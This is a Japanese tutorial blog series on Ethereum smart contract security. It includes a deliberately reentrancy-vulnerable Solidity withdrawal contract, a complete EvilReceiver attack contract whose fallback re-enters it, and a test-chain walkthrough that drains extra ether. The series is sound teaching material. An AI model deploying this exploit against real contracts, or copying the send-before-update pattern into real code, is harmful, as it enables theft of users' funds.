Ethereum(35) - Reentrancy問題③(実行編)

今回は、Reentrancy問題のあるスマートコントラクトに攻撃をしてみます。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    攻撃される側のコンストラクト(Victim Balance)生成者。
  • ACCOUNT1 (eth.accounts[1])
    攻撃される側のコントラクトに送金を行う通常のユーザ。
  • ACCOUNT2 (eth.accounts[2])
    攻撃する側のコンストラクト(Evil Receiverコ)生成者。
  • ACCOUNT3 (eth.accounts[3])
    マイナー。

攻撃される側のコントラクトをデプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするのは、Victim Balanceコントラクトになります。

[Victim Balanceコントラクトのデプロイ]


デプロイ後のコントラクトの状態を確認します。

[攻撃される側のコントラクト状態]

デプロイ直後なので、コントラクトの残高が0 ehterであることが確認できます。

攻撃する側のコントラクトをデプロイ

次は攻撃する側のコントラクトのデプロイを行います。デプロイアカウントはACCOUNT2です。

デプロイするのは、Evil Receiverコントラクトになります。

targetには、攻撃される側のコントラクトのアドレスを設定します。

[Evil Receiverコントラクトのデプロイ]


デプロイ後のコントラクトの状態を確認します。

[攻撃する側のコントラクト状態]

ターゲットのコントラクトがVictim Balanceとなっていることが確認できます。

通常のユーザから送金

ACCOUNT1から、攻撃される側のコントラクト(Victim Balance)に20 ether送金します。

Add To Balance関数を使用します。

[送金]


送金後のコントラクトの状態を確認します。

[攻撃される側のコントラクト状態]

残高が20 etherになっていることが確認できます。

攻撃する側のコントラクトに送金

ACCOUNT2から、攻撃する側のコントラクト(Evil Receiver)に10 etherを送金します。

Add Balance関数を使用します。

[送金]


送金後のコントラクトの状態を確認します。

[攻撃する側のコントラクト状態]

残高が10 etherになっていることが確認できます。

攻撃する側のコントラクトから送金

攻撃する側のコントラクト(Evil Receiver)から攻撃される側のコントラクト(Victim Balance)に10 etherを送金します。

Send Eth To Target関数を使用します。

[送金]


攻撃される側のコントラクトの状態を確認します。

[攻撃される側のコントラクト状態]

10 ether追加されて、残高が30 etherになりました。


攻撃する側のコントラクトの状態を確認します。

[攻撃する側のコントラクト状態]

10 ether送金したので、残高が0 etherになりました

攻撃する側のコントラクトから返金要求

攻撃する側のコントラクト(Evil Receiver)から攻撃される側のコントラクト(Victim Balance)に返金要求を行います。Withdraw関数を使用します。

10 ether送金したので、返金額は10 etherとなるはずです。

[返金]


攻撃された側のコントラクト状態を確認します。

[攻撃される側のコントラクト状態]

問題が発生しました。

10 ether返金されたはずなので、20 etherの残高のはずが10 etherしかありません。


攻撃した側のコントラクト状態も確認します。

[攻撃する側のコントラクト状態]

本来は攻撃する側のコントラクトからは10 ehterしか引き出せないはずですが、20 etherを引き出せています。

これは、攻撃される側のコントラクト(Victim Balance)で返金処理後に残高更新していることに問題があります。

Fallback関数から再度攻撃される側の返金用関数(withdraw関数)が呼び出さると残高があるという判定になり、再返金処理が実行されてしまっているのです。

(イベントログにて、処理フローを確認したかったのですが、ログが時系列に出力されずにとても確認しづらかったので省略します😥😥)


次回はこのReentrancy問題を解決するためのソース修正を行います。

Ethereum(34) - Reentrancy問題②(実装編 - 攻撃する側)

スマートコントラクトの代表的な脆弱性であるReentrancy問題に関して2回目の記事です。

Reentrancy問題とは、複数の呼び出し元から同時に呼び出された場合に問題が発生してしまうことを指します。

今回は、Reentrancy問題のあるコントラクトに対して攻撃を行うコードを実装します。

実装(攻撃する側)

攻撃を行うサンプルソースは次の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.4.11;
contract EvilReceiver {

address public target; // 攻撃対象コントラクトのアドレス
event MessageLog(string); // メッセージ表示用のイベント
event BalanceLog(uint); // 残高表示用のイベント

/// コンストラクタ
function EvilReceiver(address _target) {
target = _target;
}

/// Fallback関数
function() payable{
BalanceLog(this.balance);
// 攻撃対象コントラクトのwithdrawBalanceを呼出し
if(msg.sender.call.value(0)(bytes4(sha3("withdrawBalance()")))) {
MessageLog("SUCCESS");
} else {
MessageLog("FAIL");
}
}

/// EOAからの送金時に利用する関数
function addBalance() public payable {
}

/// 攻撃対象コントラクトへの送金時に利用する関数
function sendEthToTarget() public {
if(!target.call.value(10 ether)(bytes4(sha3("addToBalance()")))) {throw;}
}

/// 攻撃対象コントラクトからの引出し時に利用する関数
function withdraw() public {
if(!target.call.value(0)(bytes4(sha3("withdrawBalance()")))) {throw;}
}
}

各関数は次のような処理を行います。

  • Fallback関数 (14-23行目)
    攻撃対象のコントラクト(前回実装したコントラクト)の返金処理 msg.sender.call.value(userBalances[msg.sender])()がコールされると、呼び出される関数です。
    返金処理の中で再度、引き出し処理を行うのがもっとも重要なポイントとなります。
  • sendEthToTarget関数 (30-32行目)
    攻撃対象のコントラクトへ送金する処理です。
  • withdraw関数 (35-37行目)
    攻撃対象のコントラクトへ返金を要求する処理です。

次回は、攻撃対象のコントラクトと攻撃用のコントラクトをデプロイして動作確認を行います。

Ethereum(33) - Reentrancy問題①(実装編 - 攻撃される側)

スマートコントラクトの代表的な脆弱性であるReentrancy問題を考えます。

Reentrancy問題とは、複数の呼び出し元から同時に呼び出された場合に問題が発生してしまうことを指します。

サンプルケース

例として、コントラクトに送金されたetherをユーザごとに管理し、ユーザは残高分だけ引き出し(返金)できるコントラクトを作成します。

返金する際の流れは下記の通りです。

 ① 残高を確認する。
 ② 残高の全額を引き出す(呼び出し元へ送金)
 ③ 管理している残高を0にする。

実装(攻撃される側)

サンプルケースを実装したコントラクトのソースは下記の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pragma solidity ^0.4.11;
contract VictimBalance {
// アドレス毎に残高を管理
mapping (address => uint) public userBalances;

// メッセージ表示用のイベント
event MessageLog(string);

// 残高表示用のイベント
event BalanceLog(uint);

/// コンストラクタ
function VictimBalance() {
}

/// 送金される際に呼ばれる関数
function addToBalance() public payable {
userBalances[msg.sender] += msg.value;
}

/// etherを引き出す時に呼ばれる関数
function withdrawBalance() public payable returns(bool) {
MessageLog("== withdrawBalance started ==");
BalanceLog(this.balance);

// ①残高を確認
MessageLog("1. check balances");
if(userBalances[msg.sender] == 0) {
MessageLog("No Balance.");
return false;
}

// ②呼出し元に返金
MessageLog("2. send ether.");
if (!(msg.sender.call.value(userBalances[msg.sender])())) { throw; }

// ③残高を更新
MessageLog("3. update balances.");
userBalances[msg.sender] = 0;

MessageLog("== withdrawBalance finished ==");
return true;
}
}

返金処理はwithdrawBalance関数(22行目)で行います。

この関数では、マップを使って呼び出し元のアドレスの残高を確認し、残高が0でなければ呼び出し元に全て返金し、返金が完了したらマップで管理している残高を0にしています。

MessageLog関数を使って、どの処理まで行われたかを確認できるようにしてあります。


実は、このコントラクトはReentrancy問題を抱えています。

次回は、このコントラクトに対して攻撃を行うコントラクトを実装します。

Ethereum(32) - 緊急停止機能のあるスマートコントラクト②(実行編)

今回は、緊急停止機能のあるスマートコントラクトの動作確認を行います。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    コンストラクトの生成者。
  • ACCOUNT1 (eth.accounts[1])
    メッセージの変更を行うユーザ。アカウント1。
  • ACCOUNT2 (eth.accounts[2])
    マイナー。
  • ACCOUNT3 (eth.accounts[3])
    メッセージの変更を行うユーザ。アカウント3。

デプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするコントラクトは、Circuit Breakerコントラクトになります。

[デプロイ時のイメージ]

デプロイ後のコントラクトの状態を確認します。

[コントラクト状態]



StoppedステートがNo(=false)となっているので、コントラクトが有効であることが分かります。

またオーナーがMAIN ACCOUNTで、Messageが初期状態の0x00000000000000000000000000000000であることも確認できます。

メッセージの変更

Set Message関数をコールして、メッセージを変更します。

アカウント1から、メッセージ“0x616263”(=abc)を設定します。

[メッセージ変更]

コントラクトの状態を確認します。

[コントラクト状態]



メッセージが“0x616263”に変更されていることが確認できます。

緊急停止

オーナーアドレスから緊急停止を行います。

Toggle Circuit関数を指定し、stoppedステートのYesチェックボックスを選択し、EXECUTEボタンをクリックします。

[緊急停止]


コントラクトの状態を確認します。

[コントラクト状態]

StoppedステートがYESに変更され、緊急停止状態になっていることが確認できます。

メッセージの変更

再度Set Message関数をコールして、メッセージを変更します。

アカウント3から、メッセージ“0x646566”(=def)を設定します。

また最大消費手数料としては5,000,000 weiを指定しました。(EXECUTEボタン押下後のダイアログ画面にて)

[メッセージ変更]

コントラクトの状態を確認します。

[コントラクト状態]

メッセージが変更されずに“0x616263”のままとなっています。


トランザクションも確認します。

[トランザクションの確認]

Gas Usedが5,000,000 weiとなっており、手数料が最大で消費されているのでこのトランザクションが失敗したことを確認できます。

まとめ

スマートコントラクトは、リリース前に脆弱性をできる限りなくすことが重要ですが、どんなにテストを行ったとしてもリリース後に脆弱性が見つかる可能性があります。

そのため、緊急停止を行う機能はセキュリティを考慮して必ず実装しておくべきです。

Ethereum(31) - 緊急停止機能のあるスマートコントラクト①(実装編)

スマートコントラクトは一度デプロイされると修正ができないため、バグや脆弱性が見つかった際には、不具合や攻撃にさらされる状態が永続的に続く危険性があります。

そのため、スマートコントラクトには緊急停止装置のような機能を準備しておくことが望ましいです。

今回は、緊急停止用の関数再開用の関数をもつスマートコントラクトを作成します。

実装

緊急停止用の関数再開用の関数をもつスマートコントラクトのサンプルコードは下記のようになります。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.11;
contract CircuitBreaker {
bool public stopped; // trueの場合、Circuit Breakerが発動中
address public owner;
bytes16 public message;

/// アクセス制限用modifier
modifier onlyOwner() {
require(msg.sender == owner);
_;
}

/// stopped変数を確認するmodifier
modifier isStopped() {
require(!stopped);
_;
}

/// コンストラクタ
function CircuitBreaker() {
owner = msg.sender;
stopped = false;
}

/// stoppedの状態を変更
function toggleCircuit(bool _stopped) public onlyOwner {
stopped = _stopped;
}

/// messageを更新する関数
/// stopped変数がtrueの場合は更新不可
function setMessage(bytes16 _message) public isStopped {
message = _message;
}
}

上記コントラクトのポイントは次の通りです。

  • toggleCircuit関数 (26-28行目)
    コントラクトを緊急停止・再開させる関数です。
    引数にtrueを指定した場合は停止状態になり、falseを指定した場合はコントラクトが有効(再開)状態になります。
  • isStopped modifier (14-17行目)
    停止状態の場合は処理が中断されるようになるmodifierです。
    今回のサンプルでは、setMessage関数(32行目)にisStopped modifierが付与されているので、停止状態の場合messeageを変更することができなくなります。

次回は、このコントラクトの動作確認を行います。

Ethereum(30) - スマートコントラクトが不要になったらきれいに破棄②(実行編)

今回は、不要になったらきれいに破棄できるスマートコントラクトの動作確認を行います。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0])
    コンストラクトの生成者。
  • ACCOUNT1 (eth.accounts[1])
    マイナー。

デプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするコントラクトは、Mortalコントラクトを継承したMortal Sampleコントラクトになります。

[デプロイ時のイメージ]


デプロイ後のコントラクトの状態を確認します。

[コントラクト状態]

オーナーがMAIN ACCOUNTで、ステートがinitialであることが確認できます。

コントラクトに送金

デプロイしたコントラクトに送金を行います。

コントラクト状態確認画面の右上、Transfer Ether & Tokensアイコンを選択すると次のような送金画面が表示されます。

fromにMain accountを選択し、AMOUNTに10 etherを入力し、SENDボタンを押します。

[送金確認画面]



送金金額が10 etherであることを確認し、パスワードを入力してからSEND TRANSACTIONをクリックします。



再度コントラクトの状態を確認します。

[コントラクト状態]

コントラクトの残金が10 etherであることが確認できます。

コントラクトの破棄

コントラクトの破棄を行います。

Select functionにKill関数、Execute fromにMain Accountを設定し、EXECUTEボタンをクリックします。

[コントラクト操作]


コントラクトの状態を確認します。

[コントラクト状態]

コントラクトの残高か0 etherになっていることが確認できます。

また、コントラクトの破棄以前は表示されていたOwnerStateが表示されなくなっています。

オーナー残高の確認

最後にMain Accountの残高を確認します。

コントラクトを破棄する前後でMain Accountの残高は次のように変化しています。

[Main account残高]

コントラクトが破棄されたことにより、コントラクトオーナーに10 ether返金されていることが確認できます。


以上で、不要になった際にコンストラクトをきれいに破棄する動作(破棄と同時に残高をオーナーに送金)を確認することができました。

Ethereum(29) - スマートコントラクトが不要になったらきれいに破棄①(実装編)

コントラクトがehterを保持していた場合、不要となったらコントラクトからetherを回収しなければなりません。

そのため、コントラクトを破棄すると同時にownerにetherを送金するようにしておく必要があります。

脆弱性が発見されることに備えて、攻撃者からの不正な引出しをされる前にetherを回収できるようにしておくことはセキュリティ的に必須です。

実装

コントラクトをきれいに破棄するためのサンプルコードは以下の通りです。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.11;
contract Mortal {
address public owner;

/// アクセスチェック用のmodifier
modifier onlyOwner() {
require(msg.sender == owner);
_;
}

/// オーナーを設定
function owned() internal {
owner = msg.sender;
}

/// オーナーを変更
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}

/// コントラクトを破棄して、etherをownerに送る
function kill() public onlyOwner {
selfdestruct(owner);
}
}

contract MortalSample is Mortal{
string public state;

/// Fallback関数
function() payable {
}

/// コンストラクタ
function MortalSample() {
// Ownedで定義されているowned関数をコール
owned();

// someStateの初期値を設定
state = "initial";
}
}

ポイントは23行目のselfdestruct関数です。

selfdestruct関数はコントラクトを破棄し、引数のアドレスにコントラクト内のetherを送金します。

不特定のアドレスからコントラクトを破棄されては困るので、onlyOwner(22行目)を付加して、コントラクトのオーナーからのみ実行できるようにアクセス制限をかけています。


次回は、このコントラクトの動作確認を行います。

Ethereum(28) - アクセスを制限するスマートコントラクト②(実行編)

今回は、アクセス制限を行うスマートコントラクトの動作確認を行います。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0]) “0xec3b01f36b44182746ca109230567c4915512e35”
    コンストラクトの生成者。初期オーナー
  • ACCOUNT1 (eth.accounts[1]) “0x63f25b9bbd974fdfa07477cb99c60d2073cfe560”
    2番目のオーナー
  • ACCOUNT2 (eth.accounts[2]) “0xd5adf1e9fbc1ed869ed4c7372961238fddc760a5”
    マイナー。

デプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

デプロイするコントラクトは、Ownedコントラクトを継承したAccess Restrictionコントラクトになります。

[デプロイ時のイメージ]


デプロイ後のコントラクトの状態を確認します。

[コントラクトの状態]

オーナーがMAIN ACCOUNTで、ステートがinitialであることが確認できます。

オーナーアドレスからステート更新

オーナーのMAIN ACCOUNTから、ステートを更新します。(Update State関数)

ステートはowenerです・・・スペリングを間違えました😥

[ステート更新]


コントラクトの状態を確認します。

[コントラクトの状態]

ステートがinitialからowenerに変わっています。

アクセス権のないアドレスから更新

オーナーではないAccount1からステートを変更してみます。

ステートはnot ownerを設定してみました。

また最大消費手数料としては5,000,000 weiを指定しました。(EXECUTEボタン押下後のダイアログ画面にて)

[ステート更新]


コントラクトの状態を確認します。

[コントラクトの状態]

ステートが変わらずowenerであることが確認できます。


念のためトランザクションの内容も確認します。

[トランザクションの結果]

Gas Usedが5,000,000 weiとなっており、手数料が最大で消費されているのでこのトランザクションが失敗したことを再確認できます。

オーナー変更

コントラクトのオーナーを変更します。(MAIN ACCOUNT ⇒ Account1

Change Owner関数を選んで、new ownerにはAccount1のアドレスを入力します。

この処理はアクセス制限によりオーナーのみが実行できるので、Execute fromにはMAIN ACCOUNTを指定します。

[オーナー変更]


コントラクトの状態を確認します。

[コントラクトの状態]

ちゃんとオーナーがAccount1に変更されています。

2番目のオーナーからステート更新

オーナーがAccount1に変更されてたので、Account 1からステート変更を行えるかどうか確認します。

Update State関数を選択し、new stateにnew ownerを入力します。

Execute fromはもちろんAccount1です。

[ステート更新]


コントラクトの状態を確認します。

[コントラクトの状態]

ステートがnew ownerに変更できています。

以上で、アクセス制限のあるコントラクトの動作確認は完了です。

アクセス制限のポイント

関数をpublicで公開することは攻撃表面(リスク)を大きくするので、公開は最小限にするべきです。

また特定のアドレスのみが利用する関数については、必ずアドレスによるアクセス制限を付与しましょう。

アクセス制限のポイントをまとめます。

  • アクセス制限はmodifierにて実装する。
  • 可能な限り関数は公開しない。
  • 特定のアドレスからの呼び出しを想定している関数は、必ずアドレスによる制限を設ける。
  • オーナー変更用の関数を用意する。
  • ひな形化しておき継承してコントラクトを作成する。

Ethereum(27) - アクセスを制限するスマートコントラクト①(実装編)

今回は、アクセス制限を行うスマートコントラクトを実装します。

アクセス制限の例としては、コントラクトを生成したアドレスからのみ 実行を許可するというケースが挙げられます。

この場合、トランザクション発行アドレスがコントラクトのオーナーのアドレスと一致することを確認する必要があります。

実装

アクセス制限をする場合、modifierを利用すると関数ごとにアクセス制限を実装する必要がなくなり、コードがシンプルになります。

次のような2つのコントラクトを作成します。

  • Ownedコントラクト
    親コントラクトです。
    アクセス制御に関する関数とmodifierを定義しています。
  • AccessRestrictionコントラクト
    子コンストラクトです。
    Ownedコントラクトを継承しています。
    文字列のステートを1つ持ち、オーナーだけがそのステートを変更することができます。

[ソースコード]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.11;
contract Owned {
address public owner;

/// アクセスチェック用のmodifier
modifier onlyOwner() {
require(msg.sender == owner);
_;
}

/// オーナーを設定
function owned() internal {
owner = msg.sender;
}

/// オーナーを変更
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}

// 継承
contract AccessRestriction is Owned{
string public state;

/// コンストラクタ
function AccessRestriction() {
// Ownedで定義されているowned関数をコール
owned();

// stateの初期値を設定
state = "initial";
}

/// stateを更新する関数
function updateState(string _newState) public onlyOwner {
state = _newState;
}
}

アクセス制限に関する処理は以下の通りです。

  • modifier onlnOwner (6-9行目)
    アクセス制限用のmodifierで、アクセス制限をしたい関数に付与します。
  • owned (12-14行目)
    オーナーを指定するための関数です。
    子コンストラクトから呼ばれることを想定しているためinternalとしています。
  • changeOwner (17-19行目)
    オーナーを変更する場合に利用する関数です。
    現オーナーからの呼び出しのみ許可します。

次回は、このアクセス制限のあるコントラクトの動作確認を行います。

Ethereum(26) - 攻撃を回避するオークション用スマートコントラクト②(実行編)

今回は、攻撃を回避するオークション用スマートコントラクトを実行していきます。

アカウントごとの役割

アカウントの役割は次の通りです。

  • MAIN ACCOUNT (eth.accounts[0]) “0xec3b01f36b44182746ca109230567c4915512e35”
    オークションの オーナー。
  • ACCOUNT1 (eth.accounts[1]) “0x63f25b9bbd974fdfa07477cb99c60d2073cfe560”
    Bidder1(入札者1)。アカウント1。
    最初の入札を行う。
  • ACCOUNT2 (eth.accounts[2]) “0xd5adf1e9fbc1ed869ed4c7372961238fddc760a5”
    Bidder2(入札者2)。アカウント2。⇒悪意のあるコンストラクトから攻撃を行う。
    2回目の入札を行う。
  • ACCOUNT3 (eth.accounts[3]) “0xe62be181791eb0add680739299165ec444e2eb73”
    Bidder3(入札者3)。アカウント3。
    3回目の入札を行う。
  • ACCOUNT4 (eth.accounts[4])
    マイナー。

デプロイ

まずはデプロイを行います。デプロイアカウントはMAIN ACCOUNTです。

[デプロイ時のイメージ]

1回目の入札(アカウント1)

アカウント1から10 etherを入札します。

[1回目の入札]


入札後のコントラクトの状態は下記のとおりです。

[コントラクトの状態]

最高額提示者がアカウント1で、最高掲示額が10 ehterになっていることが確認できます。


入札を行ったアカウント1の残高を確認します。

[アカウント1の残高]

10 ether減っていることが分かります。

2回目の入札(アカウント2・悪意のあるコントラクト)

悪意のあるコントラクトから20 etherを送金します。アカウント2を使用します。

to - addressには、送金先のオークション用コントラクトのアドレスを設定します。

[2回目の入札(悪意のあるコントラクトから)]


送金後のコントラクトの状態は下記のとおりです。

[コントラクトの状態]

最高額提示者がEvil Bidder(悪意のあるコントラクト)で、最高掲示額が20 ehterになっていることが確認できます。


送金を行ったアカウント2の残高を確認します。

[アカウント2の残高]

20 ether減っていること分かります。

3回目の入札(アカウント3)

アカウント3から30 etherを入札します。

改善前のオークション用コントラクトでは、悪意のあるコントラクトから送金後、一切入札ができなくなってしまったのでここで入札できれば問題が解消されているということになります。

[3回目の入札]


入札後のコントラクトの状態は下記のとおりです。

[コントラクトの状態]

最高額提示者がアカウント3で、最高掲示額が30 ehterになっていることが確認できます。

入札できなくなるという問題が解消されています。


入札を行ったアカウント3の残高を確認します。

[アカウント3の残高]

30 ether減っていることが分かります。

アカウント1の返金

返金処理を確認します。

アカウント1から返金の操作を行います。

[アカウント1の返金]


返金処理後のコントラクトの状態を確認します。

[コントラクトの状態]

60 etherから50 etherに減っていることが確認できます。


アカウント1の残高も確認しておきます。

[アカウント1の残高]

問題なく10 ether返金されています。

アカウント2の返金

悪意のあるコントラクトに返金リクエスト用の関数を定義していないので省略します。

アカウント3の返金

アカウント3は最高金額提示者なので返金できないのですが、一応返金されないことを確認します。

[アカウント3の返金]


返金処理後のコントラクトの状態を確認します。

[コントラクトの状態]

50 etherのまま変わっていませんので、返金されなかったということになります。


念のため、アカウント3の残高を確認します。

[アカウント3の残高]

やはり残高の増減はありません。


参考までに処理が実行されなかったことは、トランザクションのGasがすべて消費されていることでも確認できます。

アカウント3の返金処理では5000000weiを最大手数料(Provide maximum fee)として設定していました。

返金処理のトランザクション実行結果を確認します。

[トランザクションの実行結果]

Gas usedが5,000,000となっていて、指定した最大手数料が消費されているので処理が失敗しているということになります。


以上で、攻撃を回避するオークション用コントラクトの動作確認は完了となります。